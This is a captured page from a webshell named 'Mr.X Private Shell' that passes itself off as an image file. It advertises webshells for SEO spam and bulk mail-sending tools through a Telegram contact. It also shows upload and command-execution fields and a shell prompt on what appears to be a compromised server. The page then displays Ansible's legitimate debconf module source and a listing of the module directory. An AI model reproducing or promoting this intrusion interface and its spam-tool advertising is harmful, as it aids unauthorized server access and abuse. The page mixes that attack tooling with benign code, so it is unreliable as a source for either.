����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# Copyright: (c) 2014, Brian Coca <briancoca+ansible@gmail.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type


DOCUMENTATION = r'''
---
module: debconf
short_description: Configure a .deb package
description:
     - Configure a .deb package using debconf-set-selections.
     - Or just query existing selections.
version_added: "1.6"
extends_documentation_fragment:
- action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: full
    platform:
        support: full
        platforms: debian
notes:
    - This module requires the command line debconf tools.
    - A number of questions have to be answered (depending on the package).
      Use 'debconf-show <package>' on any Debian or derivative with the package
      installed to see questions/settings available.
    - Some distros will always record tasks involving the setting of passwords as changed. This is due to debconf-get-selections masking passwords.
    - It is highly recommended to add I(no_log=True) to task while handling sensitive information using this module.
    - The debconf module does not reconfigure packages, it just updates the debconf database.
      An additional step is needed (typically with I(notify) if debconf makes a change)
      to reconfigure the package and apply the changes.
      debconf is extensively used for pre-seeding configuration prior to installation
      rather than modifying configurations.
      So, while dpkg-reconfigure does use debconf data, it is not always authoritative
      and you may need to check how your package is handled.
    - Also note dpkg-reconfigure is a 3-phase process. It invokes the
      control scripts from the C(/var/lib/dpkg/info) directory with the
      C(<package>.prerm  reconfigure <version>),
      C(<package>.config reconfigure <version>) and C(<package>.postinst control <version>) arguments.
    - The main issue is that the C(<package>.config reconfigure) step for many packages
      will first reset the debconf database (overriding changes made by this module) by
      checking the on-disk configuration. If this is the case for your package then
      dpkg-reconfigure will effectively ignore changes  made by debconf.
    - However as dpkg-reconfigure only executes the C(<package>.config) step if the file
      exists, it is possible to rename it to C(/var/lib/dpkg/info/<package>.config.ignore)
      before executing C(dpkg-reconfigure -f noninteractive <package>) and then restore it.
      This seems to be compliant with Debian policy for the .config file.
requirements:
- debconf
- debconf-utils
options:
  name:
    description:
      - Name of package to configure.
    type: str
    required: true
    aliases: [ pkg ]
  question:
    description:
      - A debconf configuration setting.
    type: str
    aliases: [ selection, setting ]
  vtype:
    description:
      - The type of the value supplied.
      - It is highly recommended to add I(no_log=True) to task while specifying I(vtype=password).
      - C(seen) was added in Ansible 2.2.
    type: str
    choices: [ boolean, error, multiselect, note, password, seen, select, string, text, title ]
  value:
    description:
      -  Value to set the configuration to.
    type: str
    aliases: [ answer ]
  unseen:
    description:
      - Do not set 'seen' flag when pre-seeding.
    type: bool
    default: false
author:
- Brian Coca (@bcoca)
'''

EXAMPLES = r'''
- name: Set default locale to fr_FR.UTF-8
  ansible.builtin.debconf:
    name: locales
    question: locales/default_environment_locale
    value: fr_FR.UTF-8
    vtype: select

- name: Set to generate locales
  ansible.builtin.debconf:
    name: locales
    question: locales/locales_to_be_generated
    value: en_US.UTF-8 UTF-8, fr_FR.UTF-8 UTF-8
    vtype: multiselect

- name: Accept oracle license
  ansible.builtin.debconf:
    name: oracle-java7-installer
    question: shared/accepted-oracle-license-v1-1
    value: 'true'
    vtype: select

- name: Specifying package you can register/return the list of questions and current values
  ansible.builtin.debconf:
    name: tzdata

- name: Pre-configure tripwire site passphrase
  ansible.builtin.debconf:
    name: tripwire
    question: tripwire/site-passphrase
    value: "{{ site_passphrase }}"
    vtype: password
  no_log: True
'''

RETURN = r'''#'''

from ansible.module_utils._text import to_text
from ansible.module_utils.basic import AnsibleModule


def get_selections(module, pkg):
    cmd = [module.get_bin_path('debconf-show', True), pkg]
    rc, out, err = module.run_command(' '.join(cmd))

    if rc != 0:
        module.fail_json(msg=err)

    selections = {}

    for line in out.splitlines():
        (key, value) = line.split(':', 1)
        selections[key.strip('*').strip()] = value.strip()

    return selections


def set_selection(module, pkg, question, vtype, value, unseen):
    setsel = module.get_bin_path('debconf-set-selections', True)
    cmd = [setsel]
    if unseen:
        cmd.append('-u')

    if vtype == 'boolean':
        if value == 'True':
            value = 'true'
        elif value == 'False':
            value = 'false'
    data = ' '.join([pkg, question, vtype, value])

    return module.run_command(cmd, data=data)


def main():
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', required=True, aliases=['pkg']),
            question=dict(type='str', aliases=['selection', 'setting']),
            vtype=dict(type='str', choices=['boolean', 'error', 'multiselect', 'note', 'password', 'seen', 'select', 'string', 'text', 'title']),
            value=dict(type='str', aliases=['answer']),
            unseen=dict(type='bool', default=False),
        ),
        required_together=(['question', 'vtype', 'value'],),
        supports_check_mode=True,
    )

    # TODO: enable passing array of options and/or debconf file from get-selections dump
    pkg = module.params["name"]
    question = module.params["question"]
    vtype = module.params["vtype"]
    value = module.params["value"]
    unseen = module.params["unseen"]

    prev = get_selections(module, pkg)

    changed = False
    msg = ""

    if question is not None:
        if vtype is None or value is None:
            module.fail_json(msg="when supplying a question you must supply a valid vtype and value")

        # if question doesn't exist, value cannot match
        if question not in prev:
            changed = True
        else:

            existing = prev[question]

            # ensure we compare booleans supplied to the way debconf sees them (true/false strings)
            if vtype == 'boolean':
                value = to_text(value).lower()
                existing = to_text(prev[question]).lower()

            if value != existing:
                changed = True

    if changed:
        if not module.check_mode:
            rc, msg, e = set_selection(module, pkg, question, vtype, value, unseen)
            if rc:
                module.fail_json(msg=e)

        curr = {question: value}
        if question in prev:
            prev = {question: prev[question]}
        else:
            prev[question] = ''
        if module._diff:
            after = prev.copy()
            after.update(curr)
            diff_dict = {'before': prev, 'after': after}
        else:
            diff_dict = {}

        module.exit_json(changed=changed, msg=msg, current=curr, previous=prev, diff=diff_dict)

    module.exit_json(changed=changed, msg=msg, current=prev)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
_include.py File 3.06 KB 0644
add_host.py File 3.82 KB 0644
apt.py File 57.4 KB 0644
apt_key.py File 17.45 KB 0644
apt_repository.py File 28.39 KB 0644
assemble.py File 8.76 KB 0644
assert.py File 2.75 KB 0644
async_status.py File 4.29 KB 0644
async_wrapper.py File 11.43 KB 0644
blockinfile.py File 13.29 KB 0644
command.py File 12.64 KB 0644
copy.py File 34.75 KB 0644
cron.py File 25.57 KB 0644
debconf.py File 7.55 KB 0644
debug.py File 2.89 KB 0644
dnf.py File 58.16 KB 0644
dpkg_selections.py File 2.35 KB 0644
expect.py File 8.33 KB 0644
fail.py File 1.67 KB 0644
fetch.py File 4.17 KB 0644
file.py File 39.93 KB 0644
find.py File 18.73 KB 0644
gather_facts.py File 2.5 KB 0644
get_url.py File 26.22 KB 0644
getent.py File 5.56 KB 0644
git.py File 55.22 KB 0644
group.py File 19.57 KB 0644
group_by.py File 2.41 KB 0644
hostname.py File 28.12 KB 0644
import_playbook.py File 2.06 KB 0644
import_role.py File 3.27 KB 0644
import_tasks.py File 2.14 KB 0644
include_role.py File 4.15 KB 0644
include_tasks.py File 2.64 KB 0644
include_vars.py File 6.45 KB 0644
iptables.py File 32.27 KB 0644
known_hosts.py File 13.5 KB 0644
lineinfile.py File 23.39 KB 0644
meta.py File 5.84 KB 0644
package.py File 3.33 KB 0644
package_facts.py File 17.71 KB 0644
pause.py File 3.44 KB 0644
ping.py File 2.32 KB 0644
pip.py File 30 KB 0644
raw.py File 3.57 KB 0644
reboot.py File 4.64 KB 0644
replace.py File 11.19 KB 0644
rpm_key.py File 8.48 KB 0644
script.py File 4.03 KB 0644
service.py File 63.85 KB 0644
service_facts.py File 16.73 KB 0644
set_fact.py File 5.62 KB 0644
set_stats.py File 2.6 KB 0644
setup.py File 10.79 KB 0644
shell.py File 6.57 KB 0644
slurp.py File 3.19 KB 0644
stat.py File 19.62 KB 0644
subversion.py File 13.22 KB 0644
systemd.py File 22.82 KB 0644
systemd_service.py File 22.82 KB 0644
sysvinit.py File 13.47 KB 0644
tempfile.py File 3.42 KB 0644
template.py File 3.1 KB 0644
unarchive.py File 42.79 KB 0644
uri.py File 27.78 KB 0644
user.py File 114.18 KB 0644
validate_argument_spec.py File 2.99 KB 0644
wait_for.py File 25.91 KB 0644
wait_for_connection.py File 3.38 KB 0644
yum.py File 72.05 KB 0644
yum_repository.py File 24.82 KB 0644